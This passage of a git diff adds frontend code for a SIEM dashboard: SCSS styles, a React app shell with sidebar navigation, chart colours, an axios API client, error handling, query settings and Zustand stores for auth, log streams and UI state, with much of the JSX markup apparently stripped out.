.sidebar.collapsed & { + display: none; + } +} + +.nav { + flex: 1; + padding: $space-3; + display: flex; + flex-direction: column; + gap: $space-1; +} + +.navItem { + display: flex; + align-items: center; + gap: $space-3; + padding: $space-2 $space-3; + border-radius: $radius-md; + font-size: $font-size-sm; + color: $text-light; + @include transition-fast; + + @include hover { + background: $bg-surface-200; + color: $text-default; + } + + &.active { + background: $bg-selection; + color: $text-default; + } + + .sidebar.collapsed & { + justify-content: center; + } +} + +.navIcon { + width: 17px; + height: 17px; + flex-shrink: 0; + color: $accent; +} + +.navLabel { + @include transition-fast; + + .sidebar.collapsed & { + display: none; + } +} + +.navDivider { + height: 1px; + background-color: $border-default; + margin: $space-2 $space-3; +} + +.collapseBtn { + width: 45px; + height: 45px; + border-radius: $radius-md; + color: $accent; + @include flex-center; + @include transition-fast; + + svg { + width: 23.5px; + height: 23.5px; + } + + @include hover { + background: $bg-surface-200; + color: $text-default; + } + + @include breakpoint-down('sm') { + display: none; + } +} + +.sidebarFooter { + @include flex-column; + gap: $space-1; + padding: $space-3; + border-top: 1px solid $border-default; +} + +.logoutBtn { + width: 100%; + display: flex; + align-items: center; + gap: $space-3; + padding: $space-3; + border-radius: $radius-md; + font-size: $font-size-sm; + color: $text-default; + @include transition-fast; + + @include hover { + background: $bg-surface-200; + } + + .sidebar.collapsed & { + justify-content: center; + + .logoutText { + display: none; + } + } +} + +.logoutIcon { + width: 18px; + height: 18px; + flex-shrink: 0; + color: $accent; +} + +.logoutText { + font-weight: $font-weight-medium; + @include transition-fast; +} + +.overlay { + position: fixed; + inset: 0; + background: rgb(0, 0, 0, 50%); + z-index: calc($z-fixed - 1); + display: none; + border: none; + padding: 0; + cursor: pointer; + + @include breakpoint-down('sm') { + display: block; + } +} + +.main { + flex: 1; + display: flex; + flex-direction: column; + margin-left: $sidebar-width; + min-width: 0; + @include transition-fast; + + &.collapsed { + margin-left: $sidebar-collapsed-width; + } + + @include breakpoint-down('sm') { + margin-left: 0; + + &.collapsed { + margin-left: 0; + } + } +} + +.header { + position: sticky; + top: 0; + height: $header-height; + background-color: $bg-shell-base; + background-image: radial-gradient( + circle, + $bg-shell-dot 1px, + transparent 1px + ); + background-size: 14px 14px; + border-bottom: 1px solid $border-default; + z-index: $z-sticky; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 $space-4; +} + +.headerLeft { + display: flex; + align-items: center; + gap: $space-3; +} + +.menuBtn { + display: none; + width: 36px; + height: 36px; + border-radius: $radius-md; + color: $text-light; + align-items: center; + justify-content: center; + @include transition-fast; + + svg { + width: 20px; + height: 20px; + } + + @include hover { + background: $bg-surface-200; + color: $text-default; + } + + @media (width <= 479px) { + display: flex; + } +} + +.pageTitle { + font-size: $font-size-base; + font-weight: $font-weight-medium; + color: $text-default; + margin-left: 7px; +} + +.headerRight { + display: flex; + align-items: center; + gap: $space-3; +} + +.avatar { + width: 32px; + height: 32px; + border-radius: $radius-full; + background: $bg-surface-300; + color: $accent; + font-size: $font-size-sm; + font-weight: $font-weight-medium; + @include flex-center; + @include transition-fast; + + @include hover { + filter: brightness(1.2); + } +} + +.content { + flex: 1; + overflow-y: auto; + padding: 48px; + background-color: $bg-content-base; + background-image: radial-gradient( + circle, + $bg-content-dot 1px, + transparent 1px + ); + background-size: 19.5px 19.5px; + + @include breakpoint-down('sm') { + padding: $space-4; + } +} + +.loading { + @include flex-center; + height: 100%; + color: $text-muted; +} + +.error { + @include flex-column-center; + height: 100%; + gap: $space-4; + padding: $space-6; + color: $error-default; + + h2 { + font-size: $font-size-xl; + font-weight: $font-weight-semibold; + } + + pre { + font-family: $font-mono; + font-size: $font-size-sm; + padding: $space-4; + background: $bg-surface-200; + border-radius: $radius-lg; + overflow-x: auto; + max-width: 100%; + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.tsx new file mode 100644 index 00000000..12a9cbbc --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.tsx @@ -0,0 +1,196 @@ +// =================== +// ©AngelaMos | 2026 +// shell.tsx +// =================== + +import { Suspense } from 'react' +import { ErrorBoundary, type FallbackProps } from 'react-error-boundary' +import { GiButterflyWarning } from 'react-icons/gi' +import { + LuActivity, + LuChevronLeft, + LuChevronRight, + LuLayoutDashboard, + LuLogOut, + LuMenu, + LuPlay, + LuScroll, + LuSettings, + LuShield, + LuUsers, +} from 'react-icons/lu' +import { NavLink, Outlet, useLocation } from 'react-router-dom' +import { useLogout } from '@/api/hooks' +import { ROUTES } from '@/config' +import { useAuthStore, useUIStore } from '@/core/stores' +import styles from './shell.module.scss' + +const NAV_ITEMS = [ + { path: ROUTES.DASHBOARD, label: 'Dashboard', icon: LuLayoutDashboard }, + { path: ROUTES.LOGS, label: 'Log Viewer', icon: LuScroll }, + { path: ROUTES.ALERTS, label: 'Alerts', icon: GiButterflyWarning }, + { path: ROUTES.RULES, label: 'Rules', icon: LuShield }, + { path: ROUTES.SCENARIOS, label: 'Scenarios', icon: LuPlay }, +] as const + +const BOTTOM_NAV_ITEMS = [ + { path: ROUTES.SETTINGS, label: 'Settings', icon: LuSettings }, +] as const + +const ADMIN_NAV_ITEMS = [ + { path: ROUTES.ADMIN_USERS, label: 'Users', icon: LuUsers }, +] as const + +function ShellErrorFallback({ error }: FallbackProps): React.ReactElement { + const message = error instanceof Error ? error.message : String(error) + return ( +
    +

    Something went wrong

    +
    {message}
    +
    + ) +} + +function ShellLoading(): React.ReactElement { + return
    Loading...
    +} + +function getPageTitle(pathname: string): string { + const all = [...NAV_ITEMS, ...BOTTOM_NAV_ITEMS, ...ADMIN_NAV_ITEMS] + const item = all.find((i) => i.path === pathname) + return item?.label ?? 'Dashboard' +} + +export function Shell(): React.ReactElement { + const location = useLocation() + const { sidebarOpen, sidebarCollapsed, toggleSidebar, toggleSidebarCollapsed } = + useUIStore() + const { mutate: logout } = useLogout() + const user = useAuthStore((s) => s.user) + const isAdmin = user?.role === 'admin' + + const pageTitle = getPageTitle(location.pathname) + const avatarLetter = user?.username?.[0]?.toUpperCase() ?? 'U' + + return ( +
    + + + {sidebarOpen && ( + +

    {pageTitle}

    +
    + +
    + {avatarLetter} +
    + + +
    + + }> + + + +
    + + + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/index.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/index.ts new file mode 100644 index 00000000..be7f26b3 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/index.ts @@ -0,0 +1,6 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export { chartTheme, SEVERITY_COLORS, STATUS_COLORS } from './theme' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/theme.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/theme.ts new file mode 100644 index 00000000..fb909a87 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/theme.ts @@ -0,0 +1,38 @@ +// =================== +// ©AngelaMos | 2026 +// theme.ts +// =================== + +import { buildChartTheme } from '@visx/xychart' + +export const chartTheme = buildChartTheme({ + backgroundColor: 'transparent', + colors: [ + 'hsl(0, 84%, 39%)', + 'hsl(0, 72%, 60%)', + 'hsl(24, 95%, 63%)', + 'hsl(45, 93%, 57%)', + 'hsl(217, 91%, 70%)', + ], + gridColor: 'hsl(0, 0%, 18%)', + gridColorDark: 'hsl(0, 0%, 11.1%)', + svgLabelSmall: { fill: 'hsl(0, 0%, 53.7%)' }, + svgLabelBig: { fill: 'hsl(0, 0%, 70.6%)' }, + tickLength: 4, +}) + +export const SEVERITY_COLORS: Record = { + critical: 'hsl(0, 72%, 60%)', + high: 'hsl(24, 95%, 63%)', + medium: 'hsl(45, 93%, 57%)', + low: 'hsl(217, 91%, 70%)', + info: 'hsl(0, 0%, 53.7%)', +} + +export const STATUS_COLORS: Record = { + new: 'hsl(217, 91%, 70%)', + acknowledged: 'hsl(38, 92%, 60%)', + investigating: 'hsl(263, 70%, 70%)', + resolved: 'hsl(142, 76%, 46%)', + false_positive: 'hsl(0, 0%, 53.7%)', +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/api.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/api.ts new file mode 100644 index 00000000..2c2db8dc --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/api.ts @@ -0,0 +1,47 @@ +// =================== +// ©AngelaMos | 2026 +// api.ts +// =================== + +import axios, { + type AxiosError, + type AxiosInstance, + type InternalAxiosRequestConfig, +} from 'axios' +import { HTTP_STATUS } from '@/config' +import { useAuthStore } from '@/core/stores' +import { transformAxiosError } from './errors' + +export const getBaseURL = (): string => { + return import.meta.env.VITE_API_URL ?? '/api' +} + +export const apiClient: AxiosInstance = axios.create({ + baseURL: getBaseURL(), + timeout: 15000, + headers: { 'Content-Type': 'application/json' }, +}) + +apiClient.interceptors.request.use( + (config: InternalAxiosRequestConfig): InternalAxiosRequestConfig => { + const token = useAuthStore.getState().accessToken + if (token !== null && token.length > 0) { + config.headers.Authorization = `Bearer ${token}` + } + return config + }, + (error: unknown): Promise => { + return Promise.reject(error) + } +) + +apiClient.interceptors.response.use( + (response) => response, + (error: AxiosError): Promise => { + if (error.response?.status === HTTP_STATUS.UNAUTHORIZED) { + useAuthStore.getState().logout() + window.location.href = '/login' + } + return Promise.reject(transformAxiosError(error)) + } +) diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/errors.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/errors.ts new file mode 100644 index 00000000..e99deae0 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/errors.ts @@ -0,0 +1,102 @@ +// =================== +// ©AngelaMos | 2026 +// errors.ts +// =================== + +import type { AxiosError } from 'axios' + +export const ApiErrorCode = { + NETWORK_ERROR: 'NETWORK_ERROR', + VALIDATION_ERROR: 'VALIDATION_ERROR', + AUTHENTICATION_ERROR: 'AUTHENTICATION_ERROR', + AUTHORIZATION_ERROR: 'AUTHORIZATION_ERROR', + NOT_FOUND: 'NOT_FOUND', + CONFLICT: 'CONFLICT', + RATE_LIMITED: 'RATE_LIMITED', + SERVER_ERROR: 'SERVER_ERROR', + UNKNOWN_ERROR: 'UNKNOWN_ERROR', +} as const + +export type ApiErrorCode = (typeof ApiErrorCode)[keyof typeof ApiErrorCode] + +export class ApiError extends Error { + readonly code: ApiErrorCode + readonly statusCode: number + readonly details?: Record + + constructor( + message: string, + code: ApiErrorCode, + statusCode: number, + details?: Record + ) { + super(message) + this.name = 'ApiError' + this.code = code + this.statusCode = statusCode + this.details = details + } + + getUserMessage(): string { + const messages: Record = { + [ApiErrorCode.NETWORK_ERROR]: + 'Unable to connect. Please check your connection.', + [ApiErrorCode.VALIDATION_ERROR]: 'Please check your input and try again.', + [ApiErrorCode.AUTHENTICATION_ERROR]: + 'Your session has expired. Please log in again.', + [ApiErrorCode.AUTHORIZATION_ERROR]: + 'You do not have permission to perform this action.', + [ApiErrorCode.NOT_FOUND]: 'The requested resource was not found.', + [ApiErrorCode.CONFLICT]: + 'This operation conflicts with an existing resource.', + [ApiErrorCode.RATE_LIMITED]: + 'Too many requests. Please wait and try again.', + [ApiErrorCode.SERVER_ERROR]: + 'Something went wrong. Please try again later.', + [ApiErrorCode.UNKNOWN_ERROR]: + 'An unexpected error occurred. Please try again.', + } + return messages[this.code] + } +} + +interface ApiErrorResponse { + error?: string + message?: string + detail?: string +} + +export function transformAxiosError(error: AxiosError): ApiError { + if (!error.response) { + return new ApiError('Network error', ApiErrorCode.NETWORK_ERROR, 0) + } + + const { status } = error.response + const data = error.response.data as ApiErrorResponse | undefined + const message = + data?.error ?? data?.message ?? data?.detail ?? 'An error occurred' + + const codeMap: Record = { + 400: ApiErrorCode.VALIDATION_ERROR, + 401: ApiErrorCode.AUTHENTICATION_ERROR, + 403: ApiErrorCode.AUTHORIZATION_ERROR, + 404: ApiErrorCode.NOT_FOUND, + 409: ApiErrorCode.CONFLICT, + 422: ApiErrorCode.VALIDATION_ERROR, + 429: ApiErrorCode.RATE_LIMITED, + 500: ApiErrorCode.SERVER_ERROR, + 502: ApiErrorCode.SERVER_ERROR, + 503: ApiErrorCode.SERVER_ERROR, + 504: ApiErrorCode.SERVER_ERROR, + } + + const code = codeMap[status] || ApiErrorCode.UNKNOWN_ERROR + + return new ApiError(message, code, status) +} + +declare module '@tanstack/react-query' { + interface Register { + defaultError: ApiError + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/index.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/index.ts new file mode 100644 index 00000000..e330bf73 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/index.ts @@ -0,0 +1,8 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export { apiClient, getBaseURL } from './api' +export { ApiError, ApiErrorCode, transformAxiosError } from './errors' +export { QUERY_STRATEGIES, type QueryStrategy, queryClient } from './query' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/query.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/query.ts new file mode 100644 index 00000000..395f0d0c --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/query.ts @@ -0,0 +1,110 @@ +// =================== +// ©AngelaMos | 2026 +// query.ts +// =================== + +import { MutationCache, QueryCache, QueryClient } from '@tanstack/react-query' +import { toast } from 'sonner' +import { QUERY_CONFIG } from '@/config' +import { ApiError, ApiErrorCode } from './errors' + +const NO_RETRY_ERROR_CODES: readonly ApiErrorCode[] = [ + ApiErrorCode.AUTHENTICATION_ERROR, + ApiErrorCode.AUTHORIZATION_ERROR, + ApiErrorCode.NOT_FOUND, + ApiErrorCode.VALIDATION_ERROR, +] as const + +const shouldRetryQuery = (failureCount: number, error: Error): boolean => { + if (error instanceof ApiError) { + if (NO_RETRY_ERROR_CODES.includes(error.code)) { + return false + } + } + return failureCount < QUERY_CONFIG.RETRY.DEFAULT +} + +const calculateRetryDelay = (attemptIndex: number): number => { + const baseDelay = 1000 + const maxDelay = 30000 + return Math.min(baseDelay * 2 ** attemptIndex, maxDelay) +} + +const handleQueryCacheError = ( + error: Error, + query: { state: { data: unknown } } +): void => { + if (query.state.data !== undefined) { + const message = + error instanceof ApiError + ? error.getUserMessage() + : 'Background update failed' + toast.error(message) + } +} + +const handleMutationCacheError = ( + error: Error, + _variables: unknown, + _context: unknown, + mutation: { options: { onError?: unknown } } +): void => { + if (mutation.options.onError === undefined) { + const message = + error instanceof ApiError ? error.getUserMessage() : 'Operation failed' + toast.error(message) + } +} + +export const QUERY_STRATEGIES = { + standard: { + staleTime: QUERY_CONFIG.STALE_TIME.USER, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + }, + frequent: { + staleTime: QUERY_CONFIG.STALE_TIME.FREQUENT, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + refetchInterval: QUERY_CONFIG.STALE_TIME.FREQUENT, + }, + dashboard: { + staleTime: QUERY_CONFIG.STALE_TIME.DASHBOARD, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + refetchInterval: QUERY_CONFIG.STALE_TIME.DASHBOARD, + }, + static: { + staleTime: QUERY_CONFIG.STALE_TIME.STATIC, + gcTime: QUERY_CONFIG.GC_TIME.LONG, + refetchOnMount: false, + refetchOnWindowFocus: false, + }, + auth: { + staleTime: QUERY_CONFIG.STALE_TIME.USER, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + retry: QUERY_CONFIG.RETRY.NONE, + }, +} as const + +export type QueryStrategy = keyof typeof QUERY_STRATEGIES + +export const queryClient = new QueryClient({ + defaultOptions: { + queries: { + staleTime: QUERY_CONFIG.STALE_TIME.USER, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + retry: shouldRetryQuery, + retryDelay: calculateRetryDelay, + refetchOnWindowFocus: true, + refetchOnMount: true, + refetchOnReconnect: true, + }, + mutations: { + retry: QUERY_CONFIG.RETRY.NONE, + }, + }, + queryCache: new QueryCache({ + onError: handleQueryCacheError, + }), + mutationCache: new MutationCache({ + onError: handleMutationCacheError, + }), +}) diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/auth.store.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/auth.store.ts new file mode 100644 index 00000000..a3963b5b --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/auth.store.ts @@ -0,0 +1,80 @@ +// =================== +// ©AngelaMos | 2026 +// auth.store.ts +// =================== + +import { create } from 'zustand' +import { devtools, persist } from 'zustand/middleware' +import { STORAGE_KEYS } from '@/config' + +export interface AuthUser { + id: string + username: string + email: string + role: string + is_active: boolean +} + +interface AuthState { + user: AuthUser | null + accessToken: string | null + isAuthenticated: boolean +} + +interface AuthActions { + login: (user: AuthUser, accessToken: string) => void + logout: () => void + setAccessToken: (token: string | null) => void + updateUser: (updates: Partial) => void +} + +type AuthStore = AuthState & AuthActions + +export const useAuthStore = create()( + devtools( + persist( + (set) => ({ + user: null, + accessToken: null, + isAuthenticated: false, + + login: (user, accessToken) => + set({ user, accessToken, isAuthenticated: true }, false, 'auth/login'), + + logout: () => + set( + { user: null, accessToken: null, isAuthenticated: false }, + false, + 'auth/logout' + ), + + setAccessToken: (token) => + set({ accessToken: token }, false, 'auth/setAccessToken'), + + updateUser: (updates) => + set( + (state) => ({ + user: state.user !== null ? { ...state.user, ...updates } : null, + }), + false, + 'auth/updateUser' + ), + }), + { + name: STORAGE_KEYS.AUTH, + partialize: (state) => ({ + user: state.user, + accessToken: state.accessToken, + isAuthenticated: state.isAuthenticated, + }), + } + ), + { name: 'AuthStore' } + ) +) + +export const useUser = (): AuthUser | null => useAuthStore((s) => s.user) +export const useIsAuthenticated = (): boolean => + useAuthStore((s) => s.isAuthenticated) +export const useAccessToken = (): string | null => + useAuthStore((s) => s.accessToken) diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/index.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/index.ts new file mode 100644 index 00000000..33bc46de --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/index.ts @@ -0,0 +1,8 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export * from './auth.store' +export * from './stream.store' +export * from './ui.store' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/stream.store.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/stream.store.ts new file mode 100644 index 00000000..9fbf4431 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/stream.store.ts @@ -0,0 +1,68 @@ +// =================== +// ©AngelaMos | 2026 +// stream.store.ts +// =================== + +import { create } from 'zustand' +import { devtools } from 'zustand/middleware' + +const MAX_BUFFER_SIZE = 500 + +interface StreamEvent { + id: string + timestamp: string + data: Record +} + +interface StreamState { + logEvents: StreamEvent[] + alertEvents: StreamEvent[] + logConnected: boolean + alertConnected: boolean + pushLogEvent: (event: StreamEvent) => void + pushAlertEvent: (event: StreamEvent) => void + setLogConnected: (connected: boolean) => void + setAlertConnected: (connected: boolean) => void + clearLogs: () => void + clearAlerts: () => void +} + +export const useStreamStore = create()( + devtools( + (set) => ({ + logEvents: [], + alertEvents: [], + logConnected: false, + alertConnected: false, + + pushLogEvent: (event) => + set( + (state) => ({ + logEvents: [event, ...state.logEvents].slice(0, MAX_BUFFER_SIZE), + }), + false, + 'stream/pushLog' + ), + + pushAlertEvent: (event) => + set( + (state) => ({ + alertEvents: [event, ...state.alertEvents].slice(0, MAX_BUFFER_SIZE), + }), + false, + 'stream/pushAlert' + ), + + setLogConnected: (connected) => + set({ logConnected: connected }, false, 'stream/logConnected'), + + setAlertConnected: (connected) => + set({ alertConnected: connected }, false, 'stream/alertConnected'), + + clearLogs: () => set({ logEvents: [] }, false, 'stream/clearLogs'), + + clearAlerts: () => set({ alertEvents: [] }, false, 'stream/clearAlerts'), + }), + { name: 'StreamStore' } + ) +) diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/ui.store.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/ui.store.ts new file mode 100644 index 00000000..f3ed170e --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/ui.store.ts @@ -0,0 +1,57 @@ +// =================== +// ©AngelaMos | 2026 +// ui.store.ts +// =================== + +import { create } from 'zustand' +import { devtools, persist } from 'zustand/middleware' +import { STORAGE_KEYS } from '@/config' + +interface UIState { + sidebarOpen: boolean + sidebarCollapsed: boolean + toggleSidebar: () => void + setSidebarOpen: (open: boolean) => void + toggleSidebarCollapsed: () => void +} + +export const useUIStore = create()( + devtools( + persist( + (set) => ({ + sidebarOpen: false, + sidebarCollapsed: false, + + toggleSidebar: () => + set( + (state) => ({ sidebarOpen: !state.sidebarOpen }), + false, + 'ui/toggleSidebar' + ), + + setSidebarOpen: (open) => + set({ sidebarOpen: open }, false, 'ui/setSidebarOpen'), + + toggleSidebarCollapsed: () => + set( + (state) => ({ + sidebarCollapsed: !state.sidebarCollapsed, + }), + false, + 'ui/toggleSidebarCollapsed' + ), + }), + { + name: STORAGE_KEYS.UI, + partialize: (state) => ({ + sidebarCollapsed: state.sidebarCollapsed, + }), + } + ), + { name: 'UIStore' } + ) +) + +export const useSidebarOpen = (): boolean => useUIStore((s) => s.sidebarOpen) +export const useSidebarCollapsed = (): boolean => + useUIStore((s) => s.sidebarCollapsed) diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/main.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/main.tsx new file mode 100644 index 00000000..4d4c1fff --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/main.tsx @@ -0,0 +1,15 @@ +// =================== +// ©AngelaMos | 2026 +// main.tsx +// =================== + +import { StrictMode } from 'react' +import { createRoot } from 'react-dom/client' +import App from './App' +import './styles.scss' + +createRoot(document.getElementById('root')!).render( + + + +) diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/admin.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/admin.module.scss new file mode 100644 index 00000000..644036a4 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/admin.module.scss @@ -0,0 +1,184 @@ +// =================== +// ©AngelaMos | 2026 +// admin.module.scss +// =================== + +@use '@/styles' as *; + +.page { + @include flex-column; + gap: $space-4; + width: 100%; + max-width: 960px; + margin: 0 auto; +} + +.toolbar { + @include flex-between; +} + +.count { + font-size: $font-size-sm; + color: $text-lighter; +} + +.table { + width: 100%; + border-collapse: collapse; + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; + overflow: hidden; +} + +.th { + text-align: left; + padding: $space-3 $space-4; + font-size: $font-size-xs; + font-weight: $font-weight-medium; + color: $text-lighter; + text-transform: uppercase; + letter-spacing: $tracking-wide; + border-bottom: 1px solid $border-default; + background-color: $bg-surface-75; +} + +.td { + padding: $space-3 $space-4; + font-size: $font-size-sm; + color: $text-default; + border-bottom: 1px solid $border-muted; +} + +.roleBadge { + display: inline-block; + padding: $space-0-5 $space-2; + border-radius: $radius-sm; + font-size: $font-size-xs; + font-weight: $font-weight-medium; + text-transform: capitalize; + + &.admin { + color: $accent; + background-color: hsl(0 84% 39% / 15%); + } + + &.analyst { + color: $severity-low; + background-color: $severity-low-bg; + } +} + +.statusDot { + display: inline-block; + width: 8px; + height: 8px; + border-radius: $radius-full; + background-color: $text-muted; + + &.active { + background-color: $status-resolved; + } +} + +.actions { + display: flex; + gap: $space-2; +} + +.actionBtn { + @include flex-center; + width: 30px; + height: 30px; + background-color: transparent; + border: 1px solid $border-default; + border-radius: $radius-sm; + color: $text-light; + cursor: pointer; + @include transition-fast; + + @include hover { + border-color: $border-strong; + color: $text-default; + } + + &:disabled { + opacity: 0.3; + cursor: not-allowed; + } + + svg { + width: 14px; + height: 14px; + } +} + +.dangerBtn { + color: $error-default; + + @include hover { + border-color: $error-default; + } +} + +.pagination { + display: flex; + align-items: center; + justify-content: center; + gap: $space-3; +} + +.pageBtn { + padding: $space-2 $space-3; + background-color: transparent; + border: 1px solid $border-default; + border-radius: $radius-sm; + font-size: $font-size-xs; + color: $text-light; + cursor: pointer; + @include transition-fast; + + @include hover { + border-color: $border-strong; + color: $text-default; + } + + &:disabled { + opacity: 0.3; + cursor: not-allowed; + } +} + +.pageInfo { + font-size: $font-size-xs; + color: $text-lighter; +} + +.empty { + text-align: center; + color: $text-muted; + padding: $space-8; +} + +.skeleton { + height: 48px; + background-color: $bg-surface-100; + border-bottom: 1px solid $border-muted; +} + +.roleSelect { + height: 28px; + padding: 0 $space-2; + background-color: $bg-control; + border: 1px solid $border-default; + border-radius: $radius-sm; + font-size: $font-size-xs; + color: $text-default; + cursor: pointer; + @include transition-fast; + + &:focus { + outline: none; + border-color: $border-strong; + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/index.tsx new file mode 100644 index 00000000..452d65a1 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/index.tsx @@ -0,0 +1,165 @@ +// =================== +// ©AngelaMos | 2026 +// index.tsx +// =================== + +import { useState } from 'react' +import { + LuBan, + LuChevronLeft, + LuChevronRight, + LuCircleCheck, + LuTrash2, +} from 'react-icons/lu' +import { + useAdminActivateUser, + useAdminDeactivateUser, + useAdminDeleteUser, + useAdminUpdateRole, + useAdminUsers, +} from '@/api/hooks' +import type { UserResponse, UserRole } from '@/api/types' +import { PAGINATION } from '@/config' +import { useAuthStore } from '@/core/stores' +import styles from './admin.module.scss' + +export function Component(): React.ReactElement { + const [page, setPage] = useState(PAGINATION.DEFAULT_PAGE) + const { data, isLoading } = useAdminUsers({ + page, + per_page: PAGINATION.DEFAULT_SIZE, + }) + + return ( +
    +
    + {data?.total ?? 0} users +
    + + + + + + + + + + + + + {isLoading + ? Array.from({ length: 5 }, (_, i) => ( + + + )) + : data?.items.map((user) => )} + {!isLoading && data?.items.length === 0 && ( + + + + )} + +
    UsernameEmailRoleStatusActions
    +
    + No users found +
    + + {data !== undefined && data.pages > 1 && ( +
    + + + {page} / {data.pages} + + +
    + )} +
    + ) +} + +Component.displayName = 'Admin Users' + +function UserRow({ user }: { user: UserResponse }): React.ReactElement { + const currentUser = useAuthStore((s) => s.user) + const isSelf = currentUser?.id === user.id + + const updateRole = useAdminUpdateRole() + const deactivate = useAdminDeactivateUser() + const activate = useAdminActivateUser() + const deleteUser = useAdminDeleteUser() + + const handleRoleChange = (role: string): void => { + updateRole.mutate({ userId: user.id, payload: { role: role as UserRole } }) + } + + return ( + + {user.username} + {user.email} + + + + + + + +
    + {user.is_active ? ( + + ) : ( + + )} + +
    + + + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/alerts.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/alerts.module.scss new file mode 100644 index 00000000..7f1e6ac6 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/alerts.module.scss @@ -0,0 +1,357 @@ +// =================== +// ©AngelaMos | 2026 +// alerts.module.scss +// =================== + +@use '@/styles' as *; + +.page { + @include flex-column; + gap: $space-4; + width: 100%; + max-width: 1325px; + margin: 0 auto; +} + +.tabs { + display: flex; + gap: $space-1; + border-bottom: 1px solid $border-default; + padding-bottom: $space-px; +} + +.tab { + padding: $space-2 $space-4; + background: transparent; + border: none; + border-bottom: 2px solid transparent; + font-size: $font-size-sm; + color: $text-lighter; + cursor: pointer; + @include transition-fast; + + @include hover { + color: $text-light; + } + + &.active { + color: $text-default; + border-bottom-color: $accent; + } +} + +.list { + @include flex-column; + gap: $space-3; +} + +.card { + display: block; + width: 100%; + text-align: left; + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; + padding: $space-4; + cursor: pointer; + @include transition-fast; + + @include hover { + border-color: $border-strong; + } + + &.selected { + border-color: $accent; + } +} + +.cardTop { + display: flex; + align-items: center; + gap: $space-2; + margin-bottom: $space-2; +} + +.severityBadge { + display: inline-block; + padding: $space-0-5 $space-2; + border-radius: $radius-sm; + font-size: $font-size-xs; + font-weight: $font-weight-medium; + text-transform: capitalize; + + &.critical { + color: $severity-critical; + background-color: $severity-critical-bg; + } + + &.high { + color: $severity-high; + background-color: $severity-high-bg; + } + + &.medium { + color: $severity-medium; + background-color: $severity-medium-bg; + } + + &.low { + color: $severity-low; + background-color: $severity-low-bg; + } + + &.info { + color: $severity-info; + background-color: $severity-info-bg; + } +} + +.statusBadge { + display: inline-block; + padding: $space-0-5 $space-2; + border-radius: $radius-sm; + font-size: $font-size-xs; + font-weight: $font-weight-medium; + + &.statusNew { + color: $status-new; + background-color: $status-new-bg; + } + + &.statusAcknowledged { + color: $status-ack; + background-color: $status-ack-bg; + } + + &.statusInvestigating { + color: $status-investigating; + background-color: $status-investigating-bg; + } + + &.statusResolved { + color: $status-resolved; + background-color: $status-resolved-bg; + } + + &.statusFalsePositive { + color: $severity-info; + background-color: $severity-info-bg; + } +} + +.cardTitle { + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $text-default; + margin-bottom: $space-2; +} + +.cardMeta { + display: flex; + gap: $space-4; + font-size: 